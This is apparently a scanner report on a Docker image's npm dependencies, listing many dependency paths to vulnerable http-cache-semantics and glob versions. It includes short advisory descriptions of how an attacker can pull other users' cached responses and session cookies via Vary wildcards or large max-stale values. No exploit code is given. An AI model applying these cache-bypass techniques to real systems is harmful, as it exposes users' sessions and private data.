  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1

Overview

Affected versions of this package are vulnerable to Origin Validation Error via the _varyMatches() function, which fails to properly handle Vary: * (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The Vary: * directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.

Remediation

There is no fixed version for http-cache-semantics.

References

More about this vulnerability

Improper Authorization

high severity
Exploit: Not Defined
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: http-cache-semantics
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmaccess@8.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmhook@10.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmorg@6.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmsearch@7.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmteam@6.0.5 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › npm-profile@10.0.0 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpublish@9.0.9 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/sign@2.3.2 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › pacote@18.0.6 › sigstore@2.3.1 › @sigstore/tuf@2.3.4 › tuf-js@2.2.1 › make-fetch-happen@13.0.1 › http-cache-semantics@4.1.1

Overview

Affected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client max-stale directives. An unauthenticated attacker can request the same URL with a large max-stale value to retrieve cached responses belonging to other users, including Set-Cookie session credentials from shared-cache entries that were deliberately zeroed for security reasons.

Remediation

There is no fixed version for http-cache-semantics.

References

More about this vulnerability

Command Injection

high severity
Exploit: Proof of Concept
  • Manifest file: docker.io/scopear/docker-scope-docs:20260604.90 › /usr/local/lib/node_modules
  • Package Manager: npm
  • Vulnerable module: glob
  • Introduced through: lib@*, npm@10.8.2 and others

Detailed paths

  • Introduced through: lib@* › npm@10.8.2 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/config@8.3.4 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › init-package-json@6.0.3 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/map-workspaces@3.0.6 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › node-gyp@10.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › npm-registry-fetch@17.1.0 › make-fetch-happen@13.0.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/metavuln-calculator@7.1.1 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › cacache@18.0.3 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmversion@6.0.3 › @npmcli/run-script@8.1.0 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › @npmcli/arborist@7.5.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › pacote@18.0.6 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmdiff@6.1.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmexec@8.1.3 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmfund@5.0.12 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › libnpmpack@7.0.4 › @npmcli/arborist@7.5.4 › @npmcli/package-json@5.2.0 › glob@10.4.2
  • Introduced through: lib@* › npm@10.8.2 › pacote@18.0.6 › @npmcli/run-script@8.1.0 › node-gyp@10.1.0 › glob@10.4.2
